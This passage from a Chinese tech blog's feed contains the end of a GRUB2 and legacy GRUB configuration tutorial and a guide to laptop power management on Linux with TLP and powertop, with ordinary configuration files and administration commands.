&lt;p&gt;例如&lt;code&gt;prefix=(hd0,gpt1)&#x2F;boot&#x2F;grub2&lt;&#x2F;code&gt;，则&lt;code&gt;root=(hd0,gpt1)&lt;&#x2F;code&gt;，后续就可以使用相对路径&lt;code&gt;&#x2F;vmlinuz-XXX&lt;&#x2F;code&gt;表示&lt;code&gt;(hd0,gpt1)&#x2F;vmlinuz-XXX&lt;&#x2F;code&gt;文件。&lt;&#x2F;p&gt;
&lt;p&gt;注意：在Linux中，从根”&#x2F;“开始的路径表示绝对路径，如&#x2F;etc&#x2F;fstab。但grub中，从”&#x2F;“开始的表示相对路径，其相对的基准是root变量设置的值，而使用&lt;code&gt;(dev\_name)&#x2F;&lt;&#x2F;code&gt;开始的路径才表示绝对路径。&lt;&#x2F;p&gt;
&lt;p&gt;一般root变量都表示&#x2F;boot所在的分区，但这不是绝对的，如果设置为根文件系统所在分区，如&lt;code&gt;root=(hd0,gpt2)&lt;&#x2F;code&gt;，则后续可以使用&#x2F;etc&#x2F;fstab来引用&lt;code&gt;(hd0,gpt2)&#x2F;etc&#x2F;fstab&lt;&#x2F;code&gt;文件。&lt;&#x2F;p&gt;
&lt;p&gt;该变量在grub2中一般不用修改，但若修改则必须指定正确。&lt;&#x2F;p&gt;
&lt;p&gt;另外，root变量还应该于linux或linux16命令所指定的内核启动参数&lt;code&gt;root=&lt;&#x2F;code&gt;区分开来，&lt;strong&gt;内核启动参数中的&lt;&#x2F;strong&gt;**&lt;code&gt;root=&lt;&#x2F;code&gt;**&lt;strong&gt;的意义是固定的，其指定的是根文件系统所在分区&lt;&#x2F;strong&gt;。例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;set root=&#x27;hd0,msdos1&#x27;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;linux16 &#x2F;vmlinuz-3.10.0-327.el7.x86_64 root=UUID=b2a70faf-aea4-4d8e-8be8-c7109ac9c8b8 ro crashkernel=auto quiet LANG=en_US.UTF-8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;initrd16 &#x2F;initramfs-3.10.0-327.el7.x86_64.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;一般情况下，&#x2F;boot都会单独分区，所以root变量指定的根设备和root启动参数所指定的根分区不是同一个分区&lt;&#x2F;strong&gt;，除非&#x2F;boot不是单独的分区，而是在根分区下的一个目录。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-6-grubpei-zhi-he-an-zhuang-shi-li&quot;&gt;1.6 grub配置和安装示例&lt;&#x2F;h2&gt;
&lt;p&gt;首先写一个grub.cfg。例如此处，在msdos磁盘上安装了两个操作系统，CentOS 7和CentOS 6。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;# 设置一些全局环境变量&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;set default=0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;set fallback=1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;set timeout=3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# 将可能使用到的模块一次性装载完&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# 支持msdos的模块&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;insmod part_msdos&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# 支持各种文件系统的模块&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;insmod exfat&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;insmod ext2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;insmod xfs&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;insmod fat&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;insmod iso9660&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# 定义菜单&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;menuentry &#x27;CentOS 7&#x27; --unrestricted {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        search --no-floppy --fs-uuid --set=root 367d6a77-033b-4037-bbcb-416705ead095&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        linux16 &#x2F;vmlinuz-3.10.0-327.el7.x86_64 root=UUID=b2a70faf-aea4-4d8e-8be8-c7109ac9c8b8 ro biosdevname=0 net.ifnames=0 quiet&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        initrd16 &#x2F;initramfs-3.10.0-327.el7.x86_64.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;menuentry &#x27;CentOS 6&#x27; --unrestricted {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        search --no-floppy --fs-uuid --set=root f5d8939c-4a04-4f47-a1bc-1b8cbabc4d32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        linux16 &#x2F;vmlinuz-2.6.32-504.el6.x86_64 root=UUID=edb1bf15-9590-4195-aa11-6dac45c7f6f3 ro quiet&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        initrd16 &#x2F;initramfs-2.6.32-504.el6.x86_64.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;然后执行grub安装操作。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub2-install &#x2F;dev&#x2F;sda&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;1-7-chuan-tong-grubjian-shu&quot;&gt;1.7 传统grub简述&lt;&#x2F;h2&gt;
&lt;p&gt;因为本文主要介绍grub2，所以传统的grub只简单介绍下，其实前面已经提及了很多传统grub和grub2的比较了。另外，传统grub已足够强大，足够应付一般的需求。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-7-1-gruban-zhuang&quot;&gt;1.7.1 grub安装&lt;&#x2F;h3&gt;
&lt;p&gt;例如安装到&#x2F;dev&#x2F;sda上。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub-install &#x2F;dev&#x2F;sda&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-7-2-grub-confpei-zhi&quot;&gt;1.7.2 grub.conf配置&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;default=0  # 默认启动第一个系统&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;timeout=5  # 等待超时时间5秒&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;splashimage=(hd0,0)&#x2F;grub&#x2F;splash.xpm.gz  # 背景图片&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;hiddenmenu  # 隐藏菜单，若要显式，在启动时按下ESC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;title Red Hat Enterprise Linux AS (2.6.18-92.el5)  # 定义操作系统的说明信息&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   root (hd0,0)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    kernel &#x2F;vmlinuz-2.6.18-92.el5 ro root＝&#x2F;dev&#x2F;sda2 rhgb quiet&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    initrd &#x2F;initrd-2.6.18-92.el5.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在说明配置方法之前，需要说明一个关键点，boot是否是一个独立的分区，它影响后面路径的配置。&lt;&#x2F;p&gt;
&lt;p&gt;在一个正常的操作系统中查看&#x2F;boot&#x2F;grub&#x2F;grub.conf文件，可以在NOTICE段看到提示，说你是否拥有一个独立的boot分区？如果有则意味着kernel和initrd的路径是从&#x2F;开始的而不是&#x2F;boot开始的，如&#x2F;vmlinuz-xxx，如果没有独立的boot分区，则kernel和initrd的路径中需要指明boot路径，例如Boot没有分区而是在&#x2F;文件系统下的一个目录，则&#x2F;boot&#x2F;vmlinuz-xxx。&lt;&#x2F;p&gt;
&lt;p&gt;root (hd0,0)定义grub识别的根。一般定义的都是boot所在的分区，grub只能识别hd，所以这里只能使用hd，hd0表示在第一块磁盘上，hd0,0的第二个0表示boot在第一个分区上，grub2在分区的计算上是从1开始的，这是传统grub和grub2不同的地方。&lt;&#x2F;p&gt;
&lt;p&gt;kernel定义内核文件的路径和启动参数，等价于grub2的linux命令或linux16命令。首先说明参数，ro表示只读，&lt;code&gt;root=&#x2F;dev&#x2F;sda[N]&lt;&#x2F;code&gt;或者&lt;code&gt;root=UUID=&quot;device_uuid_num&quot;&lt;&#x2F;code&gt;指定根文件系统所在的分区，这是必须的参数。rhgb表示在操作系统启动过程中使用图形界面输出一些信息，将其省略可以加快启动速度，quiet表示启动操作系统时静默输出信息。再说明路径，如果是boot是独立分区的，则kernel的路径定义方式为&#x2F;vmlinuz-xxx，如果没有独立分区，则指明其绝对路径，一般都是在根文件系统下的目录，所以一般为&#x2F;boot&#x2F;vmlinuz-xxx。&lt;&#x2F;p&gt;
&lt;p&gt;initrd定义init ramdisk的路径，路径的定义方式同kernel。除了路径之外没有任何参数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub-conf-kernel-path.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;或者使用下图的UUID的方式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub-kernel-root-uuid.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果没有指定&lt;code&gt;root=&lt;&#x2F;code&gt;的选项，将报错&lt;code&gt;no or empty root …… dracut…kernel panic&lt;&#x2F;code&gt;的错误。如下图。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub-missing-root-kernel-panic.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 笔记本电源管理资料合集</title>
        <published>2024-06-13T00:00:00+00:00</published>
        <updated>2025-01-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-笔记本电源管理资料合集/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-笔记本电源管理资料合集/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-笔记本电源管理资料合集/">&lt;h2 id=&quot;linux-tlp-dian-yuan-guan-li-jiao-cheng&quot;&gt;Linux TLP 电源管理教程&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 的电源管理基础是内核，只要发行版不离谱，功能都是一样的。不过不是所有发行版都默认开启电源管理服务，也就是 TLP ，开启后的续航应该与 Windows 不相上下。&lt;&#x2F;p&gt;
&lt;p&gt;以下教程起初是我&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;forum.suse.org.cn&#x2F;t&#x2F;topic&#x2F;13067&quot;&gt;贴在 openSUSE 中文社区论坛上&lt;&#x2F;a&gt;，后来寒晶雪把他搬到 openSUSE Wiki 作了拓展与修正，我又从 Wiki 复制到知乎，现在又从知乎转到我的博客。对安装软件的命令稍作修改亦可用于其他发行版。实测在正常使用下可以把我笔记本（标压 CPU ）整体功耗压缩到 9.94 瓦。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yin-yan&quot;&gt;引言&lt;&#x2F;h3&gt;
&lt;p&gt;如果你是第一次在笔记本上安装 openSUSE ，它的表现可能偏离你的预期。不止一人表示 Linux 比 Windows 更加节省资源，但对于你来说，电池使用时间比起 Windows 大幅下降可不是节省资源的表现。在你决定回到 Windows 前，先冷静一下，你只是忘记告诉内核 “你该省电” 这个事实而已。&lt;&#x2F;p&gt;
&lt;p&gt;这确实算是个坏消息：本文的核心部分将在命令行下完成。不过别担心，配置完成后这些工具将会自动运行。然后你就可以忘掉这茬，享受与 Android 等嵌入式设备同源且智能的省电策略，直到你重新安装系统或者换新笔记本为止。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tlp-shi-shen-me&quot;&gt;TLP 是什么&lt;&#x2F;h4&gt;
&lt;p&gt;TLP 是一个功能丰富的 Linux 命令行工具，无需深入研究技术细节就能节省笔记本电池电量。&lt;&#x2F;p&gt;
&lt;p&gt;TLP 的默认设置已经针对电池寿命进行了优化，所以你可以直接安装并忘记它。然而，TLP 是高度可定制的，以满足你的具体要求。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tlp-shi-ru-he-gong-zuo-de&quot;&gt;TLP 是如何工作的&lt;&#x2F;h4&gt;
&lt;p&gt;TLP 的基本工作原理是调整影响功耗的内核设置（kernel settings）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shen-me-shi-kernel-settings&quot;&gt;什么是 kernel settings&lt;&#x2F;h4&gt;
&lt;p&gt;首先，内核设置（kernel settings）是不稳定的。它们的状态在运行时被保存在 RAM 中，内核没有为它们提供持久性。在启动时，内核创建了一个默认的状态，每次启动时都必须通过用户空间的工具重新应用这些改变。TLP 就是这样一个用户空间的工具。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jian-duan-zhi-nan&quot;&gt;简短指南&lt;&#x2F;h3&gt;
&lt;p&gt;如果你觉得正文“太长不看”，你可以直接执行以下命令启用 TLP，使用默认配置，然后忘掉TLP的存在。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo zypper in tlp powertop
sudo systemctl disable powertop
sudo systemctl disable tlp
sudo systemctl stop powertop
sudo systemctl stop tlp
sudo systemctl enable tlp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;kuai-su-kai-shi&quot;&gt;快速开始&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;an-zhuang&quot;&gt;安装&lt;&#x2F;h4&gt;
&lt;p&gt;我们需要两个工具：TLP 与 PowerTOP 。在大多数情况下，openSUSE 已经在你的设备上安装了他们，作为 laptop 软件包模组的一部分。如果的确没有安装，使用如下命令行可以简单地安装他们。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo zypper in tlp powertop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;cpu-gong-hao&quot;&gt;CPU 功耗&lt;&#x2F;h4&gt;
&lt;p&gt;CPU 的耗电大体符合以下公式：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;功率 = 电容率 × 电压的平方 × 频率
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;功率代表能耗（Power），而电容率（Capacitance），与 CPU 的制程和工艺等相关，在 CPU 出厂时就已经确定下来。那么我们能改变的只有电压与频率，而频率与电压成正相关。所以当 CPU 在很高的频率上运行时，效能很高但耗电量很大。如果我们能在 CPU 运算量不大时，让它降频运行，这样我们就可以减少功率，同时我们可以降低电压，节约能源，并减少发热与风扇噪音。&lt;&#x2F;p&gt;
&lt;p&gt;Linux 下调整 CPU 的模块叫 CPU 调速器（Governor），Android 等基于 Linux 的嵌入式平台都会使用 CPU 调速器达到省电的效果，同样，你也能。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;如果你有 Android 平台的 CPU 调速器使用经验，请不要试着直接限制 CPU 的频率，那是在 ARM 平台上才有效的做法，在 X86 平台下对减轻能耗帮助甚微。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;较新的 Intel CPU 使用 &lt;code&gt;intel_pstate&lt;&#x2F;code&gt; 驱动，只支持两种调速器：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;powersave : 省电模式——内核理应默认运行在此模式下&lt;&#x2F;li&gt;
&lt;li&gt;performance : 性能模式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;pei-zhi&quot;&gt;配置&lt;&#x2F;h4&gt;
&lt;p&gt;建议使用 TLP 管理电源，PowerTOP 仅作为监测工具使用，所以以下配置均基于 TLP。&lt;&#x2F;p&gt;
&lt;p&gt;首先，禁用相关服务：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl disable powertop
sudo systemctl disable tlp
sudo systemctl stop powertop
sudo systemctl stop tlp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;TLP 的配置文件存在于两个位置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&#x2F;etc&#x2F;tlp.d&#x2F;*.conf :插入的自定义配置，在 &#x2F;etc&#x2F;tlp.d&#x2F; 文件夹下的配置文件将按字母顺序读取并应用&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;etc&#x2F;tlp.conf :单文件用户配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;你可以自由决定配置文件存放的方式，但建议使用配置文件夹，将属于不同部分的配置放入不同的文件。&lt;&#x2F;p&gt;
&lt;p&gt;创建一个自定义的配置文件（官方的配置介绍详见：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;linrunner.de&#x2F;en&#x2F;tlp&#x2F;docs&#x2F;tlp-configuration.html&quot;&gt;TLP Settings&lt;&#x2F;a&gt;）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd &amp;#x2F;etc&amp;#x2F;tlp.d&amp;#x2F;
sudo touch 01-cpu.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编辑文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo nano &amp;#x2F;etc&amp;#x2F;tlp.d&amp;#x2F;01-cpu.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;ju-ti-de-pei-zhi-wen-jian&quot;&gt;具体的配置文件&lt;&#x2F;h4&gt;
&lt;p&gt;在直流电源与电池供电情况下都使用 powersave 调速器。X86 平台的 powersave 调速器不会限制你的最高频率，只是更加谨慎地增加频率，并在负载下降时更加积极的回到低频率。TLP 的开发者并不建议更改为其他调速器。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;CPU_SCALING_GOVERNOR_ON_AC=powersave
CPU_SCALING_GOVERNOR_ON_BAT=powersave
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以下两项配置决定了 CPU 的能源策略，在电池模式下省电，而在外部电源供电模式下偏向性能：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;CPU_ENERGY_PERF_POLICY_ON_AC=balance_performance
CPU_ENERGY_PERF_POLICY_ON_BAT=power
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用以下两项配置在电池供电时禁用自动超频，也就是关闭睿频：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;CPU_BOOST_ON_AC=1
CPU_BOOST_ON_BAT=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以下两项配置会在电池模式下根据负载自动缩减 CPU 核心数。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;SCHED_POWERSAVE_ON_AC=0
SCHED_POWERSAVE_ON_BAT=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;amd-yu-jiu-kuan-intel&quot;&gt;AMD 与旧款 Intel&lt;&#x2F;h4&gt;
&lt;p&gt;AMD 与旧款 Intel 使用 &lt;code&gt;acpi-cpufreq&lt;&#x2F;code&gt; 驱动，故部分设置与 Intel 不同。这里仅仅贴出配置文件内容，建议阅读 TLP 官方文档以了解配置内容含义。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;tlp.d&amp;#x2F;01-cpu.conf
---------
CPU_SCALING_GOVERNOR_ON_AC=ondemand
CPU_SCALING_GOVERNOR_ON_BAT=ondemand
CPU_BOOST_ON_AC=1
CPU_BOOST_ON_BAT=0
SCHED_POWERSAVE_ON_AC=0
SCHED_POWERSAVE_ON_BAT=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;usb-zi-dong-gua-qi-she-bei&quot;&gt;USB 自动挂起设备&lt;&#x2F;h4&gt;
&lt;p&gt;TLP 利用内核设置，自动将不使用的 USB 设备挂起以节电。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;tlp.d&amp;#x2F;02-usb.conf
---------
USB_AUTOSUSPEND=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;acpi-gao-ji-dian-chi-guan-li&quot;&gt;ACPI 高级电池管理&lt;&#x2F;h4&gt;
&lt;p&gt;基于内核的 natacpi 模块，部分笔记本（如部分 ThinkPad 系列与部分 Dell）电脑可以手动管理电池充电百分比。无需安装额外的 ACPI 模块。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;tlp.d&amp;#x2F;03-battery.conf
---------
START_CHARGE_THRESH_BAT0=80
## 开始充电阈值
STOP_CHARGE_THRESH_BAT0=85
## 停止充电阈值
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;shou-wei&quot;&gt;收尾&lt;&#x2F;h4&gt;
&lt;p&gt;按 CRTL + O 写入配置文件，然后 CRTL + X 关闭编辑面板&lt;&#x2F;p&gt;
&lt;p&gt;启动服务：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl start tlp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;检查服务状态：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl status tlp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让 TLP 开机自启动：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable tlp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;检查是否成功：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl is-enabled tlp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后你就可以像我说的，忘掉这件事了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;powertop&quot;&gt;Powertop&lt;&#x2F;h3&gt;
&lt;p&gt;powertop 是个很好的实时监测工具，你只需要运行 &lt;code&gt;sudo powertop&lt;&#x2F;code&gt; 就可以获得相对友好的输出。&lt;&#x2F;p&gt;
&lt;p&gt;它可以显示特定进程与设备的耗电量。用 tab 在不同的标签页中切换。你看，我的电脑此刻的耗电速率为 9.94 瓦，甚至不及一个树梅派 4（5 伏 3 安即 15 瓦）。不过 &lt;strong&gt;不要&lt;&#x2F;strong&gt; 听从 PowerTOP 关于省电的建议，也不要在 systemd 上启用他—— TLP 做的比他更好。同时 tlp-stat 命令也会输出有用的信息。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;can-kao-wai-lian&quot;&gt;参考&amp;amp;外链&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;另见：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;linrunner.de&#x2F;tlp&#x2F;index.html&quot;&gt;TLP Official Guide&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;linuxxia-shi-yong-bi-ji-ben-de-xiang-guan-she-zhi&quot;&gt;linux下使用笔记本的相关设置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;wu-xian-lian-jie&quot;&gt;无线连接&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;wi-fi&quot;&gt;Wi-Fi&lt;&#x2F;h3&gt;
&lt;p&gt;一般地，安装&lt;code&gt;linux-firmware&lt;&#x2F;code&gt; 即可，许多发行版会默认安装此包，如果安装主流的桌面环境，也会自动安装它。&lt;&#x2F;p&gt;
